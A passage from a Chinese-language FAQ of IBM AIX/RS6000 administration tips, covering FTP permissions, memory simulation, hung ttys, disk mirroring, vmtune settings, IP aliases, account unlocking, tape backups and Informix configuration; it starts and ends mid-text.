一个短信息出现在管理员的手机上，表示某种条件值得注意。<BR>3. 管理员用WAP设备和密码登录服务器，这个设备跟是接收短信息的设备可能是同一个。.<BR>4. 管理员会看到主菜单，他浏览并执行一个与收到的短信息有关的改正错误的动作。如果该信息是一个动作的通知，如一个作业完成了，管理员可以检查这个作业的状态。<BR>5. 管理员退出，中断会话，挂断手机。<BR><BR><BR><BR>对服务器管理的发送通知赋予了管理员实时响应的能力。连接是安全的，而且是随时随地。这种管理对公共载体的依赖很小，在今天就已经可用的标准的安全协议可以保证我们获得安全的交易和操作，所以通过无线设备管理服务器是不仅可能的，也是现实的。<BR><BR><BR><BR><BR><BR><BR>如何改变上传ftp文件的缺省读写属性？<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;如何改变上传ftp文件的缺省读写属性？ <BR>解答 在AIX环境中，当用户从Windows上传文件到AIX服务器时<BR>所传文件的缺省读写属性为640(rw-r-----)。如想改变<BR>缺省读写属性为644，首先用vi编辑器打开/etc/inetd.conf<BR>文件，在"ftp"定义行的末尾加上"-u 033"，然后刷新inetd进程:<BR><BR>refresh -s inetd<BR><BR>这就改变了ftp文件的缺省属性。<BR><BR>　<BR><BR><BR>AIX中的 rmss 命令的用途<BR><BR>环境&nbsp;&nbsp;产品,平台,机型, RS6000, Pseries<BR>软件版本, AIX v4 <BR>问题&nbsp;&nbsp;AIX中的 rmss 命令的用途是什么? 如何使用 rmss 命令? <BR>解答 rmss 是在现有物理内存大小的基础上模拟服务器的物理内存大小的命令, 而无需拔出或替换内存芯片. 通过在不同的内存下运行同一应用,可以确定应用在正常运行时所需内存的尺寸. <BR>例如:<BR><BR>#rmss -c 2048&nbsp;&nbsp;:模拟2GB的内存 <BR>#rmss -p&nbsp;&nbsp;:显示当前模拟内存的大小 <BR>#rmss -r&nbsp;&nbsp;:重置内存,使之恢复到实际内存尺寸 <BR><BR>　<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX 4.x如何清除挂起的tty（-）<BR><BR>环境&nbsp;&nbsp;RS6000, AIX 4.x <BR>问题&nbsp;&nbsp;在AIX 4.x如何清除挂起的tty <BR>解答 为了说明方便，下面的例子假设挂起的tty端口为tty0. <BR><BR>1.确定当前挂起的tty正在操作的进程：<BR><BR>ps -ef | grep tty0<BR><BR>该命令假设返回内容如下：<BR><BR>root 12345 1 0 Aug 29 0 /path/program_name <BR><BR>进程ID (PID) 是"12345". 杀掉该进程：<BR><BR>kill -9 12345<BR><BR>再次运行ps -ef | grep tty0 命令去查看该进程是否被杀掉。<BR><BR>不要使用“-9”的选项去杀掉slattach进程，因为它可能导致AIX操作系统挂起。<BR>注意：如果进程是“getty”， 使用下面命令去杀掉进程：<BR>pdisable tty0 <BR>如果上面命令不能成功的杀掉进程，而tty仍然是挂起的，可以使用第二步。<BR><BR><BR>2. 执行下面的命令：<BR><BR>fuser -k /dev/tty0<BR><BR>该命令将杀掉运行在此端口的所有进程，并且显示其PID (进程 ID). <BR>如果上面命令不能成功的杀掉进程，而tty仍然是挂起的，可以使用第三步。 <BR><BR><BR>3. 在被挂起的终端的键盘上，键入“Ctrl+Q”. 如果tty仍然挂起，使用第四步。<BR><BR><BR>4. 物理的断开连接端口的设备（连线）. 在某些情况下可以释放端口.<BR><BR>注意：前面的一些命令也许不会生效并且报”设备忙“的错误。这是由于一些进程正运行在tty上。如果上面的步骤仍不能释放挂起的tty，最后可以通过重起AIX释放内核去清除此进程。 <BR><BR>　<BR><BR>　<BR><BR><BR>在AIX中扩展卡的逻辑名和它所在插槽的对应关系<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000<BR>软件版本, AIX <BR>问题&nbsp;&nbsp;在IBM的Pseries 服务器中,相同类型的扩展卡可以插多块,但是AIX如何确定每一块卡所在的插槽? <BR>解答 可用以下步骤来确定它们的关系:<BR><BR>1. 检查相同类型的卡的逻辑名及个数.<BR><BR>例如确定服务器中以太网卡的名称: <BR># lsdev -Cc adapter |grep en<BR>ent0 Available 1A-08 IBM 10/100 Mbps Ethernet PCI Adapter (23100020)<BR>ent1 Available 21-08 IBM 10/100 Mbps Ethernet PCI Adapter (23100020)<BR><BR>2. 通过查看Device Specific. 的值,确定其所对应的插槽.<BR>如:<BR><BR><BR># lscfg -vl ent0&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ent0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1A-08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM 10/100 Mbps Ethernet PCI Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Serial Number...............22010344&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FRU Number..................091H0397&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Part Number.................091H0397&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Address.............000629DC698C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........PCI Ethernet Adapter (23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........P1-I3/E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I3 表示此网卡插在第三槽上.# lscfg -vl ent1&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ent1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;10-80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM 10/100 Mbps Ethernet PCI Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Address.............0004ACE4AF6D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........PCI Ethernet Adapter (23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........P2/E1&nbsp;&nbsp;&nbsp;&nbsp;是集成在主板上的网卡.<BR>　<BR><BR>　<BR><BR><BR>如何对系统做镜像以提高系统高可用性和性能<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;如何对系统做镜像以提高系统高可用性和性能 <BR>解答&nbsp;&nbsp;&nbsp;&nbsp;通常情况下, 对系统做镜像会提高系统的高可用性, 即当其中一块盘损坏或数据区不可用时,系统会自动使用其镜像盘或镜像数据区进行正常的业务操作. 在以RS/6000系统为基础的数据库应用中做镜像有三种方式, 第一种方式是通过做RAID10直接对硬盘做镜像, 需要增加相应的适配卡支持. 可以对裸设备或文件系统做镜像. 第二种方式是通过AIX操作系统做RAID1, 只能对文件系统做镜像. 第三种方式是通过数据库系统做镜像，可以对裸设备或文件系统做镜像. 对于这三种方式一般建议大家采取前两种方式会取得比较好的系统性能和高可用性.本文主要讨论使用RAID1做镜像时系统拥有的盘数对性能的影响.<BR><BR>&nbsp;&nbsp; 做RAID1镜像时,可以对卷组中指定的逻辑卷单独做镜像, 也可以对整个卷组做镜像. 对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘以保证数据高可用性. 若对整个卷组做镜像则没有对卷组内硬盘个数的限制.此外要求镜像最好位于不同的硬盘, 当其中某块硬盘损坏时其镜像盘仍可工作, 以提高系统的高可用性. <BR><BR>&nbsp;&nbsp; 下面介绍为什么对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘。<BR><BR>在RS/6000系统中, 每个在VG(卷组)中的物理硬盘都至少有一个VGDA(卷组描述区, 既对该硬盘上的物理和逻辑卷进行描述）. VGDA在硬盘的数量有如下规则:<BR><BR><BR>一个卷组只有一块硬盘: 该硬盘有两个VGDA.<BR><BR>一个卷组有两块硬盘: 第一块硬盘有两个VGDA, 第二块硬盘有一个VGDA.<BR><BR>一个卷组有三块或三块以上硬盘: 每块硬盘有一个VGDA. <BR>&nbsp;&nbsp; 在AIX系统中, quorum（一个卷组中的可用VGDA的比率）必须高于51%, 该卷组才可用. 对于只有两块硬盘的卷组, 若第一块硬盘损坏, 则只有33%的VGDA可用, 若第二块硬盘损坏, 则有66%的VGDA可用. 对于有三块或三块以上硬盘的卷组, 若损坏一块硬盘, 至少有66%的VGDA可用.<BR><BR>&nbsp;&nbsp; 对卷组中指定的逻辑卷做镜像时, 若该卷组中只有两块硬盘, 当第一块硬盘损坏时, 其VGDA只有33%可用, 会导致该卷组不可用,这样就使得镜像失去保证硬盘高可用性的功能. <BR><BR>&nbsp;&nbsp; 若该卷组只有两块硬盘又一定要做镜像时, 可以关掉quorum, 即使第一块硬盘损坏也不会使整个卷组不可用,此时系统使用第二块硬盘,但是第二块硬盘的数据将不能镜像. 由此有可能带来数据丢失的风险,第二块硬盘损坏时会导致该卷组不可<BR>用从而引起数据丢失.<BR><BR>&nbsp;&nbsp; 因此, 对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘以保证数据高可用性. <BR><BR>　<BR><BR>　<BR><BR><BR>Debug mode 引导AIX<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX V5.1 <BR>问题&nbsp;&nbsp;Debug mode 引导AIX <BR>解答 1. 系统要求配置有tty console<BR>2. #bosbot -aI /dev/ipldevice<BR>3. #shutdown -Fr<BR><BR>　<BR><BR>　<BR><BR><BR>kdb command<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX 5L <BR>问题&nbsp;&nbsp;启动sendmail <BR>解答 AIX 5L中kdb替代AIX V4的crash命令,作为系统debugger和dump分析工具<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX中如何为一块网卡，配多个IP地址？<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000,<BR>软件版本, AIX4.3.3 <BR>问题&nbsp;&nbsp;由于应用的环境要求，需在一块网卡上配置多个IP地址，AIX中可以实现吗？ <BR>解答 可以。 使用命令ifconfig 即可.其语法为： <BR>ifconfig network_interface second_ip_address netmask your_netmask alias<BR>在ODM中未记录此定义，所以关机后该定义会丢失，若需要的话，可将该命令加在启动文件(/etc/rc.net)中. <BR><BR>如第二个IP地址是 9.185.43.135 可用<BR># ifconfig en0 9.185.43.135 netmask 255.255.255.0 alias<BR><BR>当该IP地址不再需要时，可从系统中删除.<BR>#ifconfig en0 9.185.43.135 netmask 255.255.255.0 delete <BR>或从/etc/rc.net文件中删除。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -p -P(2)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -p -P(2)? <BR>解答 -p minperm <BR>如果在物理内存中的文件页面数量(file pages)低于此值，页面替换算法将替换文件页和程序页(computational pages)，minperm的缺省值约为20%的物理内存。<BR><BR>-P maxperm<BR>如果在物理内存中的文件页面数量(file pages)高于于此值，页面替换算法将只替换文件页，maxperm的缺省值约为80%的物理内存。<BR><BR>如果在物理内存中的文件页面数量在这两个值之间，页面替换算法通常只替换文件页，但是当文件页面的再替换率(repaging rate)高于程序页面时页面替换算法将同时替换文件页和程序页。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -f -F(3)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -f -F(3)? <BR>解答 -f minfree<BR>指出内存在free list中内存页的最低值，此值的范围从8到204800。 <BR><BR>-F maxfree<BR>当系统中的空闲内存小于minfree时，系统进行换页操作增加空闲内存页，当空闲内存页的数量大于等于maxfree时，系统换页操作停止。<BR><BR>maxfree的缺省值为minfree+8。maxfree-minfree的差值应大于等于maxpgahead。<BR><BR>注：一个页面的大小为4K。<BR><BR>　<BR><BR>　<BR><BR><BR>Linux 与 Pseries/RS6000<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000<BR>软件版本, AIX, linux <BR>问题&nbsp;&nbsp;RS6000/Pseries 服务器上可安装Linux 吗? 应用程序该如何移植? <BR>解答 1. RS6000/Pseries 的低端服务器(B80,270,170,150)可以安装Linux 操作系统. 所使用的系统版本应为 XX Linux on Pseries (由不同的 Linux公司提供) . 其上编译的Linux 应用程序使用的是 Linux 核心.<BR><BR>2. Pseries中的中高端服务器目前不可安装Linux, 但可以安装 AIX Toolbox for Linux Applications for Power System, 该工具箱提供了Linux API 接口, 在其上编译的Linux 应用程序使用的是AIX核心.<BR><BR>3. 在 XX Linux on Pseries环境下编译的程序,移植到AIX Toolbox for Linux Applications 中需重新编译,反之亦然.<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -M(5)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -M(5)? <BR>解答 -M maxpin<BR>此值指出系统中能够常驻(pin)在内存中的最大的内存页的数量缺生值为80%的物理内存，应保证至少有4M的内存不被常驻，以供内核使用。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -r -R(4)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -r -R(4)? <BR>解答 -r minpgahead <BR>指出何时启动提前读的功能，此值应为2的倍数，缺省值为2。<BR><BR>-R maxpgahead <BR>指出最大的提前读的页数，此值应为2的倍数，缺省值为8，此值应大于minpgabead，最大值为512。maxfree-minfree的差值应大于等于maxpgahead。<BR><BR>　<BR><BR>　<BR><BR><BR>如何确定一文件系统是Large File Enabled的文件系统?<BR><BR>环境&nbsp;&nbsp;平台, Pseries, RS6000,<BR>软件版本, AIX 4.3.3 <BR>问题&nbsp;&nbsp;在AIX 4.3.3中既支持standard filesytem,也支持Large File Enabled file system, 如何确定一文件系统是Large File Enabled file system 还是 standard filesytem? <BR>解答 可使用 lsfs -q filesystem_name 命令来查看.<BR><BR>例如: <BR>#lsfs -q /home<BR><BR><BR>Name&nbsp;&nbsp;Nodename Mount Pt VFS Size Options&nbsp;&nbsp;Auto&nbsp;&nbsp;Accounting <BR>/dev/hd1 --&nbsp;&nbsp;/home&nbsp;&nbsp;jfs 131072 --&nbsp;&nbsp;yes no <BR><BR>(lv size: 131072, fs size: 131072, frag size: 512, nbpi: 4096, compress: no, bf: false, ag: 8)<BR><BR>bf:false 表示是standard filesystem<BR>bf:true 表示是Large File Enabled file system.<BR><BR>　<BR><BR>　<BR><BR><BR>如何在命令行下运行update_all?<BR><BR>环境&nbsp;&nbsp;AIX 4.3 <BR>问题&nbsp;&nbsp;如何在命令行下运行update_all? <BR>解答 在系统升级时可在SMIT中运行update_all，如果需要在命令行下运行<BR>可用如下方法：<BR>用lslpp -l命令产生一个系统中已安装文件集的列表，将此列表存入一个<BR>文本文件，编辑此文件使其具有以下形式：<BR><BR>bos.rte.install<BR>bos.sysmgt.sysbr<BR>......<BR><BR>用以下命令安装：<BR><BR>installp -agXd /dev/cd0 -e /tmp/install.log -f /&lt;path&gt;/&lt;file&gt;<BR><BR>其中&lt;file&gt;位所生成的文本文件，&lt;path&gt; 为&lt;file&gt;所在的路径。<BR><BR><BR><BR><BR><BR>手工删除smit菜单<BR><BR>环境&nbsp;&nbsp;AIX V4 <BR>问题&nbsp;&nbsp;手工删除smit菜单 <BR>解答 手工删除smit菜单的步骤如下：<BR><BR>1、export ODMDIR=/usr/lib/objrepos<BR>2、rm $HOME/smit.log<BR>3、smit -D并执行想删除的一些菜单命令，查看smit.log中id的值<BR>4、odmget -q id=*** sm_menu_opt &gt;/tmp/smit<BR>5、odmdelete -q id=*** -o sm_menu_opt<BR>6、vi /tmp/smit<BR>7、odmadd /tmp/smit<BR><BR>　<BR><BR>　<BR><BR><BR>6230 SSA卡上快写缓存的设置？<BR><BR>环境&nbsp;&nbsp;AIX 4.3 <BR>问题&nbsp;&nbsp;6230 SSA卡上快写缓存的设置？ <BR>解答 对于使用SSA卡的用户，卡上的快写缓存可以极大的提高磁盘的I/O性能，用户应首先检查SSA卡上是否配置了快写缓存。<BR><BR><BR># lscfg -vl ssa0&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ssa0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11-08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM SSA 160 SerialRAID Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(14109100)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Part Number................. 27H1204&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FRU Number.................. 34L5388&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Serial Number...............S1072088&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EC Level....................&nbsp;&nbsp;&nbsp;&nbsp;E28793&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Manufacturer................IBM053&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ROS Level and ID............8300&nbsp;&nbsp;&nbsp;&nbsp;0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loadable Microcode Level....05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Driver Level.........00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........SSA-ADAPTER*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Device Specific.(Z0)........SDRAM=128*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Device Specific.(Z1)........CACHE=32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(Z2)........UID=006094BF00003CDC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........U0.1-P1-I1/Q1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此卡配置了128MB的读缓存和32MB的快写缓存。如果配置了快写缓存，改变SSA磁盘的配置，使其使用快写缓存# smitty device&nbsp;&nbsp;&nbsp;&nbsp;SSA Disks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SSA Logical Disks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Change/Show Characteristics of an SSA Logical Disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hdisk? Available 11-08-L SSA Logical Disk Drive&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enable Fast-Write&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;如果'Enable Fast-Write' 是no，将其改为yes。<BR><BR><BR><BR><BR>支持Xwindows最少需要安装那些文件集(Fileset)？<BR><BR>环境&nbsp;&nbsp;AIX 4.3 OR AIX 5.1 <BR>问题&nbsp;&nbsp;支持Xwindows最少需要安装那些文件集(Fileset)？ <BR>解答 支持Xwindows需要以下文件集：<BR><BR>X11.apps.*<BR>X11.base.*<BR>X11.compat.*<BR>X11.fnt.*<BR>X11.motif.*<BR><BR>运行CDE, 需要安装<BR><BR>X11.Dt.*<BR><BR>如果希望远程使用CDE仿真，需要安装<BR><BR>X11.fnt.fontServer<BR><BR>　<BR><BR>　<BR><BR><BR>如何改动IP地址<BR><BR>环境&nbsp;&nbsp;RS6000,AIX V4 <BR>问题&nbsp;&nbsp;如何改动IP地址 <BR>解答 如果用smit mktcpip去改动IP地址，就会在/etc/hosts中加一项，而且以前的地址仍保留，正确的做法是smit tcpip---Further configuration---Network interface----Network Interface Selection----Change/Show characteristics of a Network interface 去改动<BR><BR>　<BR><BR>　<BR><BR><BR>启动sendmail<BR><BR>环境&nbsp;&nbsp;RS6000,AIX V4 <BR>问题&nbsp;&nbsp;启动sendmail <BR>解答 如果用startsrc -s sendmail 启动，sendmail不会做为守护进程被启动，必须用startsrc -s sendmail -a "-bd"来启动<BR><BR>　<BR><BR>　<BR><BR><BR>如何显示格林威治时间<BR><BR>环境&nbsp;&nbsp;RS6000，AIX V4 <BR>问题&nbsp;&nbsp;如何显示格林威治时间 <BR>解答 用date -u可以显示格林威治时间<BR><BR>　<BR><BR>　<BR><BR><BR>如何打开锁死的帐户<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户设置某帐户如果连输3次错误的密码就把帐户锁死，但不知如何打开。 <BR>解答 用户错误登陆信息记录在/etc/security/lastlog文件中。<BR>只要将 unsuccessful_login_count = 3 改为 unsuccessful_login_count = 0<BR>即可打开锁死帐户。 <BR><BR>IBM INFORMIX数据库级备份都备份了哪些内容？<BR><BR>环境&nbsp;&nbsp;RS6000, IBM INFORMIX <BR>问题&nbsp;&nbsp;IBM INFORMIX数据库级备份都备份了哪些内容？ <BR>解答 在IBM RS6000系列机器上，系统管理员一般要定期做操作系统的备份和数据库系统的备份。那么做IBM INFORMIX数据库级备份时都备份了哪些内容呢？<BR><BR>一般IBM INFORMIX数据库备份分为系统备份和逻辑日志备份。有的客户认为在做系统备份时系统会将逻辑日志文件一起备份，这种理解是不正确的。<BR><BR>系统备份将备份数据库系统的数据，包括对根dbspace（rootdbs)和数据dbspace(datadbs)的数据的备份，它不会备份临时dbspace(tempdbs)、逻辑日志和未分配使用的根dbspace和数据dbspace的空间。<BR><BR>逻辑日志备份将备份系统的逻辑日志文件。<BR><BR>由此可见系统备份和逻辑日志备份是完全不同的，它们不可以相互替代。 <BR><BR>　<BR><BR>　<BR><BR><BR>在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？<BR><BR>环境&nbsp;&nbsp;RS6000, IBM INFORMIX <BR>问题&nbsp;&nbsp;在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？ <BR>解答 在RS6000系列机器上安装IBM INFORMIX数据库时，一般会配置临时数据库空间以提高系统性能。那么为什么要配置及如何配置这些临时数据库空间呢？<BR><BR>例如在IBM INFORMIX数据库中若执行了下面的操作，将会产生临时文件或临时表：<BR>1.建立索引或使用排序方式的连接时；<BR>2.使用"order by"或“gruop by”语句时；<BR>3.使用“select ...into temp...”语句创建临时表时；<BR><BR>这些临时表或文件最好放在临时数据库空间中以提高系统性能。<BR>如果数据库系统频繁进行上面的操作，最好创建三个或三个以上大小相同临时数据库空间<BR><BR>　<BR><BR>　<BR><BR><BR>如何改变主机IP地址解析顺序<BR><BR>环境&nbsp;&nbsp;产品： RS/6000<BR>软件： AIX <BR>问题&nbsp;&nbsp;如何改变主机IP地址解析顺序 <BR>解答 一般主机IP地址的解析顺序依次是DNS,NIS,本机host档案。<BR>要改变这个顺序,　可以建立一个/etc/netsvc.conf文件,并在这个档案中加一行: <BR>hosts=local,bind,nis <BR><BR><BR>这样主机IP地址就先从本地档案(/etc/hosts)开始搜索,其次再去DNS server,最後是NIS server。<BR>也可通过执行 <BR>export NSORDER=local,bind,nis <BR>改变环境变量NSORDER 来改变顺序<BR><BR>　<BR><BR>　<BR><BR><BR>不能增加用户，错误信息为3004-687<BR><BR>环境&nbsp;&nbsp;RS6000, AIX 3.2 -- 4.x <BR>问题&nbsp;&nbsp;不能增加用户，错误信息为3004-687 <BR>解答 <BR>检查： <BR><BR>在/etc/passwd文件中是否有错误的语法.<BR>丢失“nobody”用户条目或其格式有错误. 其条目应为: <BR><BR>nobody:!:4294967294:4294967294::/:<BR><BR><BR>　<BR><BR>　<BR><BR><BR>登录失败次数过多<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;登录失败次数过多 <BR>解答 在用户登录失败次数过多时，超过了失败次数限制，用户将不能继续登录，需修改/etc/security/lastlog中的失败登录次数参数(unsuccessful_login_count)才可。<BR><BR>　<BR><BR>　<BR><BR><BR>看SSA逻辑盘与物理盘之间对应关系<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;看SSA逻辑盘与物理盘之间对应关系 <BR>解答 用ssaxlate -l hdisk#或ssaxlate -l pdisk#可以看SSA逻辑盘与物理盘之间对应关系<BR><BR>　<BR><BR>　<BR><BR><BR>用户名长度问题<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;用户名长度问题 <BR>解答 用户名长度最长为八位，这个限制无法改动<BR><BR>　<BR><BR>　<BR><BR><BR>如何判断引起core文件的应用程序<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;如何判断引起core文件的应用程序 <BR>解答 core文件是在应用崩溃时记录的内存影象，可以用命令lquerypv -h core 6b0 64可以看出是哪个应用引起了core文件的产生。<BR><BR>　<BR><BR>　<BR><BR><BR>解锁卷组<BR><BR>环境&nbsp;&nbsp;RS000 <BR>问题&nbsp;&nbsp;解锁卷组 <BR>解答 当卷组被锁住时，可通过命令chvg -u vg#来解锁<BR><BR>　<BR><BR>　<BR><BR><BR>inittab中引用的环境变量<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;inittab中引用的环境变量 <BR>解答 问题产生原因是由于客户有很多几百k的小文件，将所有的文件系统inode用尽。<BR>在inittab中启动的程序，只引用了/etc/environment中的环境变量，并不引用/etc/profile或/.profile中的变量，所以在用户自定义脚本中如需引用这些变量，需在脚本中加入对它们的引用<BR><BR>　<BR><BR>　<BR><BR><BR>在一个磁带上备份多个文件<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;在一个磁带上备份多个文件 <BR>解答 需要用到 tctl来卷带备份，例子如下：<BR><BR><BR>1. dd if=/tmp1 of=/dev/rmt0.1<BR>2. tctl -f /dev/rmt0 rewind<BR>3. tctl fsf 1<BR>4. dd if=/tmp2 of=/dev/rmt0.1<BR>5. tctl -f /dev/rmt0 rewind<BR>6. tctl fsf 2<BR>7.......<BR><BR><BR>恢复步骤相反。<BR><BR>　<BR><BR>　<BR><BR><BR>夏时制问题<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;夏时制问题 <BR>解答 每年四月到八月，AIX会缺省使用夏时制，可以用echo $TZ看时区来判断，时区以DT结尾的就使用了夏时制。如果不想用，可以通过smit--system environment--change show date and time---change time zone using system defined values来改变，在弹出的USE DAYTIME 